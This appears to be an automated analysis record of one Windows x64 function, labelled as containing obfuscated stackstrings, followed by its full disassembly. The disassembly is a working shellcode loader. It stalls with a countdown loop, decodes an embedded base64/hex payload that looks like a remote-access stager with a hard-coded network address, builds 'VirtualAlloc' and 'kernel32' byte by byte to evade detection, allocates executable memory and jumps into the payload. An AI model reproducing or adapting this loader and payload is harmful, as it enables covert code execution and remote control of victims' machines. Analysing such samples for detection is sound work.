Function at 0x40182b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
sub rsp, 0x510
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x4a0], ecx
mov qword [rbp + 0x4a8], rdx
call fcn.00401ab0
mov dword [rbp + 0x48c], 0xd903
jmp 0x401874
mov eax, dword [rbp + 0x48c]
mov edx, eax
lea rcx, [0x00405959]
call sub.msvcrt.dll_printf
sub dword [rbp + 0x48c], 1
cmp dword [rbp + 0x48c], 0
jg 0x401859
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x58]
mov edx, 0x49f
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [str.ZmM0ODgzZTRmMGU4YzgwMDAwMDA0MTUxNDE1MDUyNTE1NjQ4MzFkMjY1NDg4YjUyNjA0ODhiNTIxODQ4OGI1MjIwNDg4YjcyNTA0ODBmYjc0YTRhNGQzMWM5NDgzMWMwYWMzYzYxN2MwMjJjMjA0MWMxYzkwZDQxMDFjMWUyZWQ1MjQxNTE0ODhiNTIyMDhiNDIzYzQ4MDFkMDY2ODE3ODE4MGIwMjc1NzI4YjgwODgwMDAwMDA0ODg1YzA3NDY3NDgwMWQwNTA4YjQ4MTg0NDhiNDAyMDQ5MDFkMGUzNTY0OGZmYzk0MThiMzQ4ODQ4MDFkNjRkMzFjOTQ4MzFjMGFjNDFjMWM5MGQ0MTAxYzEzOGUwNzVmMTRjMDM0YzI0MDg0NTM5ZDE3NWQ4NTg0NDhiNDAyNDQ5MDFkMDY2NDE4YjBjNDg0NDhiNDAxYzQ5MDFkMDQxOGIwNDg4NDgwMWQwNDE1ODQxNTg1ZTU5NWE0MTU4NDE1OTQxNWE0ODgzZWMyMDQxNTJmZmUwNTg0MTU5NWE0ODhiMTJlOTRmZmZmZmZmNWQ2YTAwNDliZTc3Njk2ZTY5NmU2NTc0MDA0MTU2NDk4OWU2NGM4OWYxNDFiYTRjNzcyNjA3ZmZkNTQ4MzFjOTQ4MzFkMjRkMzFjMDRkMzFjOTQxNTA0MTUwNDFiYTNhNTY3OWE3ZmZkNWViNzM1YTQ4ODljMTQxYjg5MzFmMDAwMDRkMzFjOTQxNTE0MTUxNmEwMzQxNTE0MWJhNTc4OTlmYzZmZmQ1ZWI1OTViNDg4OWMxNDgzMWQyNDk4OWQ4NGQzMWM5NTI2ODAwMDI0MDg0NTI1MjQxYmFlYjU1MmUzYmZmZDU0ODg5YzY0ODgzYzM1MDZhMGE1ZjQ4ODlmMTQ4ODlkYTQ5YzdjMGZmZmZmZmZmNGQzMWM5NTI1MjQxYmEyZDA2MTg3YmZmZDU4NWMwMGY4NTlkMDEwMDAwNDhmZmNmMGY4NDhjMDEwMDAwZWJkM2U5ZTQwMTAwMDBlOGEyZmZmZmZmMmY0NjM3NzQ2YzAwMzU0ZjIxNTAyNTQwNDE1MDViMzQ1YzUwNWE1ODM1MzQyODUwNWUyOTM3NDM0MzI5Mzc3ZDI0NDU0OTQzNDE1MjJkNTM1NDQxNGU0NDQxNTI0NDJkNDE0ZTU0NDk1NjQ5NTI1NTUzMmQ1NDQ1NTM1NDJkNDY0OTRjNDUyMTI0NDgyYjQ4MmEwMDM1NGYyMTUwMjUwMDU1NzM2NTcyMmQ0MTY3NjU2ZTc0M2EyMDRkNmY3YTY5NmM2YzYxMmYzNTJlMzAyMDI4NjM2ZjZkNzA2MTc0Njk2MjZjNjUzYjIwNGQ1MzQ5NDUyMDM5MmUzMDNiMjA1NzY5NmU2NDZmNzc3MzIwNGU1NDIwMzYyZTMwM2IyMDU0NzI2OTY0NjU2ZTc0MmYzNTJlMzAyOTBkMGEwMDM1NGYyMTUwMjU0MDQxNTA1YjM0NWM1MDVhNTgzNTM0Mjg1MDVlMjkzNzQzNDMyOTM3N2QyNDQ1NDk0MzQxNTIyZDUzNTQ0MTRlNDQ0MTUyNDQyZDQxNGU1NDQ5NTY0OTUyNTU1MzJkNTQ0NTUzNTQyZDQ2NDk0YzQ1MjEyNDQ4MmI0ODJhMDAzNTRmMjE1MDI1NDA0MTUwNWIzNDVjNTA1YTU4MzUzNDI4NTA1ZTI5Mzc0MzQzMjkzNzdkMjQ0NTQ5NDM0MTUyMmQ1MzU0NDE0ZTQ0NDE1MjQ0MmQ0MTRlNTQ0OTU2NDk1MjU1NTMyZDU0NDU1MzU0MmQ0NjQ5NGM0NTIxMjQ0ODJiNDgyYTAwMzU0ZjIxNTAyNTQwNDE1MDViMzQ1YzUwNWE1ODM1MzQyODUwNWUyOTM3NDM0MzI5Mzc3ZDI0NDU0OTQzNDE1MjJkNTM1NDQxNGU0NDQxNTI0NDJkNDE0ZTU0NDk1NjQ5NTI1NTUzMmQ1NDQ1NTM1NDJkNDY0OTRjNDUyMTI0NDgyYjQ4MmEwMDM1NGYyMTUwMjU0MDQxNTA1YjM0NWM1MDVhNTgzNTM0Mjg1MDVlMjkzNzAwNDFiZWYwYjVhMjU2ZmZkNTQ4MzFjOWJhMDAwMDQwMDA0MWI4MDAxMDAwMDA0MWI5NDAwMDAwMDA0MWJhNThhNDUzZTVmZmQ1NDg5MzUzNTM0ODg5ZTc0ODg5ZjE0ODg5ZGE0MWI4MDAyMDAwMDA0OTg5Zjk0MWJhMTI5Njg5ZTJmZmQ1NDg4M2M0MjA4NWMwNzRiNjY2OGIwNzQ4MDFjMzg1YzA3NWQ3NTg1ODU4NDgwNTAwMDAwMDAwNTBjM2U4OWZmZGZmZmYzODMyMmUzMTM1MzcyZTMxMzQzOTJlMzEzOTM0MDAwMDAwMDAwMA]
lea rdx, [0x0040595d]
mov rcx, rax
call fcn.00401550
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004017e2
mov byte [rbp + 0x452], 0x56
mov byte [rbp + 0x453], 0x69
mov byte [rbp + 0x454], 0x72
mov byte [rbp + 0x455], 0x74
mov byte [rbp + 0x456], 0x75
mov byte [rbp + 0x457], 0x61
mov byte [rbp + 0x458], 0x6c
mov byte [rbp + 0x459], 0x41
mov byte [rbp + 0x45a], 0x6c
mov byte [rbp + 0x45b], 0x6c
mov byte [rbp + 0x45c], 0x6f
mov byte [rbp + 0x45d], 0x63
mov byte [rbp + 0x45e], 0
lea rax, [rbp + 0x452]
mov qword [rbp + 0x480], rax
mov byte [rbp + 0x45f], 0x6b
mov byte [rbp + 0x460], 0x65
mov byte [rbp + 0x461], 0x72
mov byte [rbp + 0x462], 0x6e
mov byte [rbp + 0x463], 0x65
mov byte [rbp + 0x464], 0x6c
mov byte [rbp + 0x465], 0x33
mov byte [rbp + 0x466], 0x32
mov byte [rbp + 0x467], 0
lea rax, [rbp + 0x45f]
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x480]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4a7
mov ecx, 0
call rax
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x468]
mov rcx, rax
lea rax, [rbp - 0x60]
mov edx, 0x4a7
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x468]
call rax
nop
add rsp, 0x510
pop rbp
ret